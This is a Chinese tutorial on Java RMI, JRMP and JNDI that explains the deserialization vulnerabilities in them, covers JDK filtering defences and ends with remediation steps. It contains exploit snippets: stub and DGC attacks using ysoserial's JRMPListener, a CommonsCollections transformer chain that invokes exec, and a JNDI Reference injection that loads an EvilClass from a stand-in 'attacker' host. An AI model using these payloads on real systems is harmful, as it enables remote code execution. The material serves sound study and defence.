JAVA JRMP、RMI、JNDI、反序列化漏洞之间的风花雪月
字数 2132 2025-08-06 12:20:59

Java JRMP、RMI、JNDI与反序列化漏洞深度解析

0x01 前言

本文全面讲解Java远程通信中的核心协议和接口,以及相关的反序列化漏洞原理:

  1. Java JRMP、RMI、JNDI之间的关联和联系
  2. Java RMI使用原理及反序列化漏洞成因
  3. Java RMI中常见反序列化漏洞场景分类及分析
  4. JDK版本对反序列化漏洞的影响
  5. 反序列化漏洞的常见修复方案

一、JRMP协议

JRMP(Java Remote Message Protocol)是Java远程通信协议,特点:

  • 为Java进程间通信设计
  • 基于TCP的二进制协议
  • 支持分布式垃圾回收(DGC)机制

二、RMI框架

RMI(Remote Method Invocation)是Java远程方法调用框架:

  • 基于JRMP协议实现
  • 允许跨JVM调用对象方法
  • 类比于面向对象的RPC

三、JNDI服务

JNDI(Java Naming and Directory Interface)是Java命名和目录接口:

  • 提供统一的命名和目录服务访问
  • 支持的协议包括:
    • LDAP
    • CORBA COS命名服务
    • RMI注册表
    • DNS

0x02 RMI深入分析

RMI核心组件

RMI架构由三部分组成:

  1. Registry - 注册中心,管理远程对象引用
  2. Server - 服务端,提供远程对象实现
  3. Client - 客户端,调用远程方法

RMI工作流程

1. 创建注册中心

Registry registry = LocateRegistry.createRegistry(9999);

2. 服务端绑定对象

服务端需要:

  1. 定义远程接口(继承Remote)
  2. 实现远程对象(继承UnicastRemoteObject)
  3. 绑定到注册中心
// 接口定义
public interface Hello extends Remote {
    public String welcome(String name) throws RemoteException;
}

// 实现类
public class Helloimp extends UnicastRemoteObject implements Hello {
    public String welcome(String name) throws RemoteException {
        return "hello"+name;
    }
}

// 绑定对象
Hello hello = new Helloimp();
registry.bind("hellos",hello);

3. 客户端调用

Registry registry = LocateRegistry.getRegistry("localhost", 9999);
Hello hello = (Hello) registry.lookup("hellos");
System.out.println(hello.welcome("axin"));

RMI通信细节

  1. Bind过程

    • Server发送序列化的stub(存根)对象到Registry
    • stub包含skeleton(骨根)的地址信息
    • Registry解析stub后向skeleton发送DGC dirty请求
    • Server返回Lease对象维持引用
  2. Lookup过程

    • Client发送lookup请求到Registry
    • Registry返回对应的stub对象
    • Client解析stub获取skeleton地址
    • Client与skeleton建立连接进行远程调用

RMI反序列化漏洞场景

RMI通信中所有数据传输都通过序列化/反序列化,存在多处反序列化点:

  1. Registry相关

    • Server→Registry:bind/rebind发送的stub对象
    • Registry→Server:bind响应对象
    • Registry→Server:DGC dirty请求
    • Server→Registry:DGC lease响应
  2. Client相关

    • Client→Registry:lookup请求参数
    • Registry→Client:lookup返回的stub对象
    • Client→Server:DGC dirty请求
    • Server→Client:DGC lease响应
  3. 方法调用相关

    • 远程方法调用参数
    • 远程方法返回结果

漏洞利用分析

1. 对存根对象的攻击

原理:替换正常stub为恶意序列化对象

利用条件

  • 对象需继承Remote接口
  • 包含可利用的反序列化链

示例

// 创建恶意代理对象
InvocationHandler handler = new RemoteObjectInvocationHandler(
    new UnicastRef(new LiveRef(
        new ObjID(ObjID.REGISTRY_ID), 
        new TCPEndpoint("attacker", 1234), 
        false
    ))
);
Remote proxy = (Remote) Proxy.newProxyInstance(
    Remote.class.getClassLoader(),
    new Class<?>[] { Remote.class },
    handler
);

// 绑定恶意对象
registry.bind("evil", proxy);

2. 对DGC机制的攻击

原理:伪造JRMP监听服务返回恶意对象

利用步骤

  1. 启动恶意JRMP监听
  2. 构造特殊UnicastRef指向监听
  3. 触发DGC通信时返回恶意对象

示例

// 使用ysoserial启动JRMP监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"

// 构造恶意Registry代理
Registry proxy = (Registry) Proxy.newProxyInstance(
    Registry.class.getClassLoader(),
    new Class[] { Registry.class },
    new RemoteObjectInvocationHandler(
        new UnicastRef(new LiveRef(
            new ObjID(ObjID.REGISTRY_ID),
            new TCPEndpoint("attacker", 1099),
            false
        ))
    )
);

3. 对方法参数的攻击

原理:远程方法参数或返回值中包含恶意对象

示例

// 服务端实现返回恶意对象
public Object test() throws RemoteException {
    // 构造CC链
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", ...),
        new InvokerTransformer("invoke", ...),
        new InvokerTransformer("exec", ...)
    };
    ChainedTransformer chain = new ChainedTransformer(transformers);
    
    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, chain);
    
    return outerMap;
}

0x03 JNDI与RMI的结合利用

攻击原理

  1. JNDI支持RMI协议查询
  2. RMI服务可返回Reference对象
  3. JNDI客户端会解析Reference并加载指定类
  4. 通过控制Reference的codebase实现远程类加载

利用过程

  1. 搭建恶意RMI服务
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("EvilClass", "EvilClass", "http://attacker/");
ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
registry.bind("evil", refWrapper);
  1. 准备恶意类
public class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch(Exception e) {}
    }
}
  1. 触发漏洞
new InitialContext().lookup("rmi://attacker:1099/evil");

漏洞限制

JDK 8u121+默认设置:

com.sun.jndi.rmi.object.trustURLCodebase=false

禁止从远程codebase加载类

0x04 JDK版本影响与修复

JDK防御措施

  1. ObjectInputFilter
    • JDK 8u121+引入
    • 白名单限制可反序列化的类
    • 应用于RMI通信层
private static Status registryFilter(FilterInfo var0) {
    // 白名单检查
    return String.class != var2 && !Number.class.isAssignableFrom(var2) 
        && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) 
        && !UnicastRef.class.isAssignableFrom(var2) 
        && !RMIClientSocketFactory.class.isAssignableFrom(var2) 
        && !RMIServerSocketFactory.class.isAssignableFrom(var2) 
        && !ActivationID.class.isAssignableFrom(var2) 
        && !UID.class.isAssignableFrom(var2) 
        ? Status.REJECTED : Status.ALLOWED;
}
  1. resolveClass/proxyClass限制

    • 重写ObjectInputStream方法
    • 黑名单过滤危险类
  2. JNDI远程加载限制

    • 默认禁止trustURLCodebase
    • 防止远程类加载

修复方案总结

  1. 序列化过滤

    • 白名单机制(JDK官方方案)
    • 黑名单机制(WebLogic方案)
  2. 类加载控制

    • 禁止远程类加载
    • 限制ClassLoader使用
  3. 代码加固

    • 使用SecurityManager
    • 限制敏感操作

0x05 总结

  1. RMI基于JRMP协议实现远程调用,全程使用序列化通信
  2. RMI架构中存在多处反序列化点,可构造恶意对象利用
  3. JNDI与RMI结合可通过Reference实现远程类加载攻击
  4. JDK通过白名单、黑名单等机制防御反序列化漏洞
  5. 修复关键在于控制反序列化过程和类加载行为

参考资源

  1. Java RMI反序列化漏洞分析
  2. JNDI注入漏洞原理
  3. WebLogic反序列化漏洞分析
Java JRMP、RMI、JNDI与反序列化漏洞深度解析 0x01 前言 本文全面讲解Java远程通信中的核心协议和接口,以及相关的反序列化漏洞原理: Java JRMP、RMI、JNDI之间的关联和联系 Java RMI使用原理及反序列化漏洞成因 Java RMI中常见反序列化漏洞场景分类及分析 JDK版本对反序列化漏洞的影响 反序列化漏洞的常见修复方案 一、JRMP协议 JRMP(Java Remote Message Protocol)是Java远程通信协议,特点: 为Java进程间通信设计 基于TCP的二进制协议 支持分布式垃圾回收(DGC)机制 二、RMI框架 RMI(Remote Method Invocation)是Java远程方法调用框架: 基于JRMP协议实现 允许跨JVM调用对象方法 类比于面向对象的RPC 三、JNDI服务 JNDI(Java Naming and Directory Interface)是Java命名和目录接口: 提供统一的命名和目录服务访问 支持的协议包括: LDAP CORBA COS命名服务 RMI注册表 DNS 0x02 RMI深入分析 RMI核心组件 RMI架构由三部分组成: Registry - 注册中心,管理远程对象引用 Server - 服务端,提供远程对象实现 Client - 客户端,调用远程方法 RMI工作流程 1. 创建注册中心 2. 服务端绑定对象 服务端需要: 定义远程接口(继承Remote) 实现远程对象(继承UnicastRemoteObject) 绑定到注册中心 3. 客户端调用 RMI通信细节 Bind过程 : Server发送序列化的stub(存根)对象到Registry stub包含skeleton(骨根)的地址信息 Registry解析stub后向skeleton发送DGC dirty请求 Server返回Lease对象维持引用 Lookup过程 : Client发送lookup请求到Registry Registry返回对应的stub对象 Client解析stub获取skeleton地址 Client与skeleton建立连接进行远程调用 RMI反序列化漏洞场景 RMI通信中所有数据传输都通过序列化/反序列化,存在多处反序列化点: Registry相关 : Server→Registry:bind/rebind发送的stub对象 Registry→Server:bind响应对象 Registry→Server:DGC dirty请求 Server→Registry:DGC lease响应 Client相关 : Client→Registry:lookup请求参数 Registry→Client:lookup返回的stub对象 Client→Server:DGC dirty请求 Server→Client:DGC lease响应 方法调用相关 : 远程方法调用参数 远程方法返回结果 漏洞利用分析 1. 对存根对象的攻击 原理 :替换正常stub为恶意序列化对象 利用条件 : 对象需继承Remote接口 包含可利用的反序列化链 示例 : 2. 对DGC机制的攻击 原理 :伪造JRMP监听服务返回恶意对象 利用步骤 : 启动恶意JRMP监听 构造特殊UnicastRef指向监听 触发DGC通信时返回恶意对象 示例 : 3. 对方法参数的攻击 原理 :远程方法参数或返回值中包含恶意对象 示例 : 0x03 JNDI与RMI的结合利用 攻击原理 JNDI支持RMI协议查询 RMI服务可返回Reference对象 JNDI客户端会解析Reference并加载指定类 通过控制Reference的codebase实现远程类加载 利用过程 搭建恶意RMI服务 : 准备恶意类 : 触发漏洞 : 漏洞限制 JDK 8u121+默认设置: 禁止从远程codebase加载类 0x04 JDK版本影响与修复 JDK防御措施 ObjectInputFilter : JDK 8u121+引入 白名单限制可反序列化的类 应用于RMI通信层 resolveClass/proxyClass限制 : 重写ObjectInputStream方法 黑名单过滤危险类 JNDI远程加载限制 : 默认禁止trustURLCodebase 防止远程类加载 修复方案总结 序列化过滤 : 白名单机制(JDK官方方案) 黑名单机制(WebLogic方案) 类加载控制 : 禁止远程类加载 限制ClassLoader使用 代码加固 : 使用SecurityManager 限制敏感操作 0x05 总结 RMI基于JRMP协议实现远程调用,全程使用序列化通信 RMI架构中存在多处反序列化点,可构造恶意对象利用 JNDI与RMI结合可通过Reference实现远程类加载攻击 JDK通过白名单、黑名单等机制防御反序列化漏洞 修复关键在于控制反序列化过程和类加载行为 参考资源 Java RMI反序列化漏洞分析 JNDI注入漏洞原理 WebLogic反序列化漏洞分析